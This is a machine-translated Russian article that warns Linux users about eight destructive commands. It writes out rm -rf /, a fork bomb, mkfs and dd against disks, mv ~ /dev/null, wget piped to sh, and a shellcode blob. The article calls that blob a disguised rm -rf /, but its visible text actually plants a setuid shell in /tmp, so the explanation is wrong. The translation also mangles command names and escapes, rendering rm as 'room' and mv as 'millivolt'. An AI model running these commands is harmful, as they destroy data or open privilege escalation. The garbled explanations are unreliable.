Домашняя » как » 8 смертельных команд, которые вы никогда не должны запускать в Linux

    8 смертельных команд, которые вы никогда не должны запускать в Linux

    Терминальные команды Linux являются мощными, и Linux не будет запрашивать у вас подтверждения, если вы запустите команду, которая сломает вашу систему. Весьма часто можно увидеть, как тролли онлайн рекомендуют новым пользователям Linux запускать эти команды в шутку..

    Изучение команд, которые вы не должны выполнять, может помочь вам защитить вас от троллей, в то же время улучшая ваше понимание того, как работает Linux. Это не исчерпывающее руководство, и команды здесь могут быть ремикшированы различными способами.

    Обратите внимание, что многие из этих команд будут опасны, только если они имеют префикс Судо на Ubuntu - иначе они не будут работать. В других дистрибутивах Linux большинство команд должны выполняться от имени пользователя root.

    Изображение предоставлено: Череп и Скрещенные кости ремикшированы от Джейсона Форда в Твиттере

    rm -rf / - удаляет все!

    Команда rm -rf / удаляет все, что возможно, в том числе файлы на жестком диске и файлы на подключенных устройствах съемных носителей. Эта команда более понятна, если она разбита:

    комната - Удалите следующие файлы.

    -ВЧ - Запустите rm рекурсивно (удалите все файлы и папки внутри указанной папки) и принудительно удалите все файлы без запроса.

    / - Сообщает rm запускаться из корневого каталога, который содержит все файлы на вашем компьютере и все подключенные мультимедийные устройства, включая удаленные общие папки и съемные диски..

    Linux с радостью выполнит эту команду и удалит все без запроса, поэтому будьте осторожны при ее использовании! Команда rm также может использоваться другими опасными способами - rm -rf ~ удалит все файлы в вашей домашней папке, в то время как рм -рф. * удалил бы все ваши файлы конфигурации.

    Урок: Остерегайтесь рм-рф.

    Замаскированный rm -rf /

    Вот еще один фрагмент кода, который есть в Интернете:

    char esp [] __attribute__ ((section («. text»))) / * e.s.p
    релиз */
    = «\ Xeb \ x3e \ x5b \ x31 \ xc0 \ x50 \ x54 \ x5a \ x83 \ xec \ x64 \ x68»
    «\ XFF \ XFF \ XFF \ XFF \ x68 \ XDF \ xd0 \ XDF \ xd9 \ x68 \ x8d \ x99»
    «\ XDF \ x81 \ x68 \ x8d \ x92 \ XDF \ XD2 \ x54 \ x5e \ xf7 \ x16 \ xf7»
    «\ X56 \ x04 \ xf7 \ x56 \ x08 \ xf7 \ x56 \ x0c \ x83 \ XC4 \ x74 \ x56»
    «\ X8d \ x73 \ x08 \ x56 \ x53 \ x54 \ x59 \ XB0 \ x0b \ XCD \ x80 \ x31»
    «\ Xc0 \ x40 \ xeb \ xf9 \ X Е8 \ XBD \ XFF \ XFF \ XFF \ x2f \ x62 \ x69»
    «\ X6e \ x2f \ x73 \ x68 \ x00 \ x2d \ x63 \ x00»
    «Cp -p / bin / sh /tmp/.beyond; chmod 4755
    /tmp/.beyond;»;

    Это шестнадцатеричная версия rm -rf / - выполнение этой команды уничтожит ваши файлы так же, как если бы вы запустили rm -rf /.

    Урок: Не запускайте странные, замаскированные команды, которые вы не понимаете.

    : () : |: & ;: - Вилочная бомба

    Следующая строка представляет собой простую, но опасную функцию bash:

    : () : |: & ;:

    Эта короткая строка определяет функцию оболочки, которая создает новые копии себя. Процесс постоянно копирует себя, а его копии постоянно копируют себя, быстро занимая все ваше процессорное время и память. Это может привести к зависанию вашего компьютера. Это в основном отказ в обслуживании.

    Урок: Функции Bash мощные, даже очень короткие.

    Изображение предоставлено: Dake on Wikimedia Commons

    mkfs.ext4 / dev / sda1 - форматирует жесткий диск

    mkfs.ext4 / dev / sda1 Команда проста для понимания:

    mkfs.ext4 - Создайте новую файловую систему ext4 на следующем устройстве.

    / DEV / sda1 - Указывает первый раздел на первом жестком диске, который, вероятно, используется.

    Взятая вместе, эта команда может быть эквивалентна запуску формата c: в Windows - она ​​сотрет файлы на вашем первом разделе и заменит их новой файловой системой..

    Эта команда может прийти и в других формах - mkfs.ext3 / dev / sdb2 отформатировал бы второй раздел на втором жестком диске с файловой системой ext3.

    Урок: Остерегайтесь выполнения команд непосредственно на устройствах с жестким диском, которые начинаются с / dev / sd.

    команда> / dev / sda - пишет прямо на жесткий диск

    команда> / dev / sda Линия работает аналогично - она ​​запускает команду и отправляет вывод этой команды непосредственно на ваш первый жесткий диск, записывая данные непосредственно на жесткий диск и повреждая вашу файловую систему.

    команда - Запустить команду (может быть любой командой.)

    > - Отправьте вывод команды в следующую папку.

    / DEV / SDA - Записать вывод команды непосредственно на устройство с жестким диском.

    Урок: Как и выше, остерегайтесь выполнения команд, связанных с устройствами на жестком диске, начиная с / dev / sd.

    dd if = / dev / random of = / dev / sda - записывает мусор на жесткий диск

    дд если = / dev / random of = / dev / sda Линия также уничтожит данные на одном из ваших жестких дисков.

    дд - Выполните низкоуровневое копирование из одного места в другое.

    если = / DEV / случайное - Используйте / dev / random (случайные данные) в качестве входных данных - вы также можете увидеть такие места, как / dev / zero (нули).

    из = / DEV / SDA - Вывод на первый жесткий диск, заменяя его файловую систему случайными мусорными данными.

    Урок: dd копирует данные из одного места в другое, что может быть опасно, если вы копируете напрямую на устройство.

    Изображение предоставлено: Matt Rudge на Flickr

    mv ~ / dev / null - перемещает ваш домашний каталог в черную дыру

    / dev / null - это еще одно специальное место - перемещение чего-либо в / dev / null - это то же самое, что уничтожение. Думайте о / dev / null как о черной дыре. по существу, mv ~ / dev / null отправляет все ваши личные файлы в черную дыру.

    милливольт - Переместите следующий файл или каталог в другое место.

    ~ - Представляет всю вашу домашнюю папку.

    / DEV / нуль - Переместите вашу домашнюю папку в / dev / null, уничтожив все ваши файлы и удалив исходные копии.

    Урок: Символ ~ представляет вашу домашнюю папку, а перемещение объектов в / dev / null уничтожает их.

    wget http://example.com/something -O - | sh - загружает и запускает скрипт

    Вышеуказанная строка загружает скрипт из Интернета и отправляет его в sh, который выполняет содержимое скрипта. Это может быть опасно, если вы не уверены, что это за скрипт или не доверяете его источнику - не запускайте ненадежные скрипты.

    Wget - Скачивает файл. (Вы также можете увидеть скручивание вместо wget.)

    http://example.com/something - Загрузите файл с этого места.

    | - Передайте (отправьте) вывод команды wget (файл, который вы скачали) непосредственно другой команде.

    ш - Отправьте файл команде sh, которая выполняет его, если это скрипт bash.

    Урок: Не загружайте и не запускайте ненадежные сценарии из Интернета, даже с помощью команды.


    Знаете какие-нибудь другие опасные команды, которые не должны запускать новые (и опытные) пользователи Linux? Оставьте комментарий и поделитесь им!